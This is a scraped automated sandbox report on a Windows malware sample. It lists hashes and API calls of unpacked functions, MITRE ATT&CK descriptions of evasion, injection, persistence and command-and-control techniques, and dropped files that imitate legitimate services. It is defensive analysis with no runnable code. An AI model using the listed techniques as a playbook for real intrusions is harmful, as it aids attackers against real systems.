Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction ID: 8fceb520db467d50f50b7a6d392188be37ef6567eaa8d8ed10de84621d20dec2
Opcode Fuzzy Hash: 61e7e04614083fc9a4d415ed1ed9d586c41edeef07ca5b9990f411115d9a6df2
Instruction Fuzzy Hash: CAF1282171CE488FDB6A971C59513FA73D2F7DA320F99459EE04FC3296DD289C468382

Function 00995B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction ID: 73e7bccd0938c447e1933088e2ec6cb52898ce5f2e8c7f0ebe3bee80ff00ba16
Opcode Fuzzy Hash: 2ff8010c23fac40248132f603dcb160a69be8753e27de13806aa853a5623418f
Instruction Fuzzy Hash: 8E21B23020CF458FDF6B9B2C845877766E9AB59311F5B09A68087CF2D6EA28CC44D356

Function 00995B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00995B90
CreateThread.KERNELBASE ref: 00995CDF

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: e0bec9f308ab4e61039d39e5155d7732c80c334bdbdf0158e00e3f997bafe22b
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: B9E0863060DF444FDF5B9B28981031A3AE5EB88310F1A05DEC44AD71D1DB6949058792

Function 0099599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 009959D9

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction ID: c1e66d732b224f527dca0f85ec48c694ce6112ecfa8866b0668fb00bc32206c6
Opcode Fuzzy Hash: 51412a402b8cd50030cf07c80cfd4b00c1a38cf92c70ea7e66de183ec09a8362
Instruction Fuzzy Hash: 3C01D66090EE80CFFF17A71C405537B6555B794330FAB095AA08ACB192C8384D009746

Function 00995BE2 Relevance: 1.3, APIs: 1, Instructions: 25
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00995C03

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction ID: c7fd87fc302d6e764ba1acd5242ae77c03c2d1407103774133f0be078fa3d8da
Opcode Fuzzy Hash: 5b5d7b071b63003723a190de38853bb16d482f491faa3db3b767200ea78fc1cb
Instruction Fuzzy Hash: 01E0C27150CF0ACFEF57B61CC80927722C4D7283213270D218802D7150F41CCE066B12

Function 00998090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00998186

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 0ebfad7ed046831af2fc8c07419aed7eb621a9afe250e7e6715db5aeb8359688
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: 32C04C6152D946966E79064C1C1B0B726589603755B1C084E9C0685220DE598E8351AB

Function 0099817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 00998186

Memory Dump Source

Source File: 0000000B.00000002.2965615833.0000000000990000.00000040.00001000.00020000.00000000.sdmp, Offset: 00990000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_990000_elevation_service.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: 6a90d42bd3a293ff1465b01179d1ac86244813da0b9dac14497396e5d752d484
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 5DC092A055C509876D38268C2C0A0B3355C8613760F0C481FEC068A360DE598D8351B2

Analysis Process: maintenanceservice.exePID: 7268, Parent PID: 620COMMON

Execution Graph

Execution Coverage:	4.1%
Dynamic/Decrypted Code Coverage:	97.8%
Signature Coverage:	0%
Total number of Nodes:	93
Total number of Limit Nodes:	5

Executed Functions

Function 022452A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDefaultLangID.KERNELBASE ref: 022453C4

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID: DefaultLangSystem
String ID:
API String ID: 706401283-0
Opcode ID: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction ID: 42ac17646ce0ec3e9ec1f5510f4cd35864a242474146604aec6f194ae04f8d90
Opcode Fuzzy Hash: be85cc28eff309c6b04ec446b1d1922c7f56a33d23bc4027ac3bc4e0d37bd274
Instruction Fuzzy Hash: FA41B45253DA964FD32E86E444643707F909B3226EFC904D7E4C29E0EEEFD848758726

Function 02260080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameW.KERNEL32 ref: 022603E0

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: a71ae9b16811adc73022ad3350357e15936bcd32632a6560717fc8edb7501c37
Instruction ID: f7f75154a2f6e7ebd453807ad2fb3b95127d6acd7a1bf4c3db560dd41ed5dddb
Opcode Fuzzy Hash: a71ae9b16811adc73022ad3350357e15936bcd32632a6560717fc8edb7501c37
Instruction Fuzzy Hash: BFD1F432538B0A8BD728EF98D8497FAB7D1FB90310F08465ED846C7168DBB49785D6C2

Function 02248070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7aba5bc73c5368664214373d784ef2a548d00c1ddc8eb6b6b5f00d205669205e
Instruction ID: c2d05f4e2d512412845d06cb7d4664ef601367c137855becb28cd9ccc040f473
Opcode Fuzzy Hash: 7aba5bc73c5368664214373d784ef2a548d00c1ddc8eb6b6b5f00d205669205e
Instruction Fuzzy Hash: 79611120A3CA869FD76D8BE88C143367BA0FB45254F48565BD84BC71BCDFA4A844CB53

Function 02245910 Relevance: 1.9, APIs: 1, Instructions: 607
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8a678de662a63f360d272917e279b78a58a35c15b6fef688504f492f27f0c671
Instruction ID: f570b8d002b4923fd6423f8427cc413e26b2d71bb35557919f31c9233414f9e1
Opcode Fuzzy Hash: 8a678de662a63f360d272917e279b78a58a35c15b6fef688504f492f27f0c671
Instruction Fuzzy Hash: C2F1673273CF594FC769A79C58443B973D2EB99310F88419AC08EC329DDE789996C782

Function 02245B42 Relevance: 1.6, APIs: 1, Instructions: 92
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 78aedcdccd15af220d42ed819c4b664c14081a9f79ff40e3eae0dab4aa8d7420
Instruction ID: 42470e25b421aa25fa675312b47a0354a302520edfea3addb5281ba10d5f1f50
Opcode Fuzzy Hash: 78aedcdccd15af220d42ed819c4b664c14081a9f79ff40e3eae0dab4aa8d7420
Instruction Fuzzy Hash: B6219F2023C646CFDB6E9BD8C44877826D1AF75318FC801A6D4C7CE1AECFA48A64C716

Function 02245B09 Relevance: 1.6, APIs: 1, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction ID: 01d96df8f065316c1d10572f06e27c7eb4df1d238df26f864af457a817245eb5
Opcode Fuzzy Hash: 355f5de826a502d2b078035f50b0d1b19bc6bd6d86d359f9387c1ff3fa9cfd06
Instruction Fuzzy Hash: 9501A97013D64BCFDB6E4AE48C183796A90AF71628FD401AAD8C3CA09DDFE44624CB02

Function 02245B87 Relevance: 1.5, APIs: 1, Instructions: 23
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 02245B90
CreateThread.KERNELBASE ref: 02245CDF

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction ID: 983d9687ce2dd8deb585b09ec522c13a409b31c3dd5a0dde2c3d8ea45cb42d33
Opcode Fuzzy Hash: a986bd5c00f5553bdb8598d00602888b78738e64b994e3da4fa4453f2922062f
Instruction Fuzzy Hash: 21E0867063DB444FDB5E9F6498103193AE6FB98214F4501CEC48AD71DDCF7909158782

Function 0224599B Relevance: 1.3, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wcscpy.LIBCMT ref: 022459D9

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: 3490bab9a1fec10f496c8f24eaac10769b028ffe75d25190336d55c0437fa726
Instruction ID: 902dda5af07a12a822a31af6fca956c166c9c65f937ceaae1b57be4e81e3b618
Opcode Fuzzy Hash: 3490bab9a1fec10f496c8f24eaac10769b028ffe75d25190336d55c0437fa726
Instruction Fuzzy Hash: 5B01F27063D7928FD67F9AD840002782652BB74328FD8045B90CA8B19DCEB84529CBC2

Function 02248090 Relevance: 1.3, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 02248186

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction ID: 50c689170e0f53df1a9408712758eb0148abad6e2a2da2e97e53cff6665ada5c
Opcode Fuzzy Hash: 618394ff9deb9f6b5e010b5aaee4db8be701b981e1d63e6b3fb36a727850c086
Instruction Fuzzy Hash: C7C04C65539997976A7E06C81D1B1F42650960A655B0C04579C0F8123CDF958A618197

Function 0224817F Relevance: 1.3, APIs: 1, Instructions: 10
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CloseHandle.KERNELBASE ref: 02248186

Memory Dump Source

Source File: 0000000C.00000002.1792430322.0000000002240000.00000040.00001000.00020000.00000000.sdmp, Offset: 02240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2240000_maintenanceservice.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction ID: c1b4902d2c3b7a387f761738b39c9a5c668c774d3cee85dcfb6560fd65ceda95
Opcode Fuzzy Hash: a0153765961d18982154f5649a6418830ea2767f573826a199b39b51e69f8ae7
Instruction Fuzzy Hash: 1FC092A597859B87693E26C82C0A0B13550460B664F0D4423EC0F8A37CDF984EA081A3

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify or add LSASS drivers to obtain persistence on compromised systems. The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Driver: Driver Load, File: File Creation, File: File Modification, Module: Module Load
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may deliver payloads to remote systems by adding content to shared storage locations, such as network drives or internal code repositories. Content stored on network drives or in other shared locations may be tainted by adding malicious programs, scripts, or exploit code to otherwise valid files. Once a user opens the shared tainted content, the malicious portion can be executed to run the adversary's code on a remote system. Adversaries may use tainted shared content to move laterally.
Tactics:	Lateral Movement
Data Sources:	File: File Creation, File: File Modification, Network Share: Network Share Access, Process: Process Creation
Platforms:	Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report BzK8rQh2O3.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe

C:\Program Files (x86)\Mozilla Maintenance Service\logs\maintenanceservice.log

C:\Program Files\Google\Chrome\Application\117.0.5938.132\elevation_service.exe

C:\Users\user\AppData\Local\Temp\atule

C:\Users\user\AppData\Local\Temp\aut9C87.tmp

C:\Users\user\AppData\Roaming\8227aa636967b89b.bin

C:\Windows\System32\AppVClient.exe

C:\Windows\System32\DiagSvcs\DiagnosticsHub.StandardCollector.Service.exe

C:\Windows\System32\FXSSVC.exe

C:\Windows\System32\alg.exe

C:\Windows\System32\config\systemprofile\AppData\Roaming\8227aa636967b89b.bin

Static File Info

General

File Icon

Static PE Info

Windows Analysis Report
BzK8rQh2O3.exe

Function 00760080 Relevance: 5.0, APIs: 3, Instructions: 466
COMMON

Function 007452A0 Relevance: 1.6, APIs: 1, Instructions: 137
COMMON

Function 00748070 Relevance: 4.7, APIs: 3, Instructions: 236
COMMON

Function 00745B09 Relevance: 3.1, APIs: 2, Instructions: 60
COMMON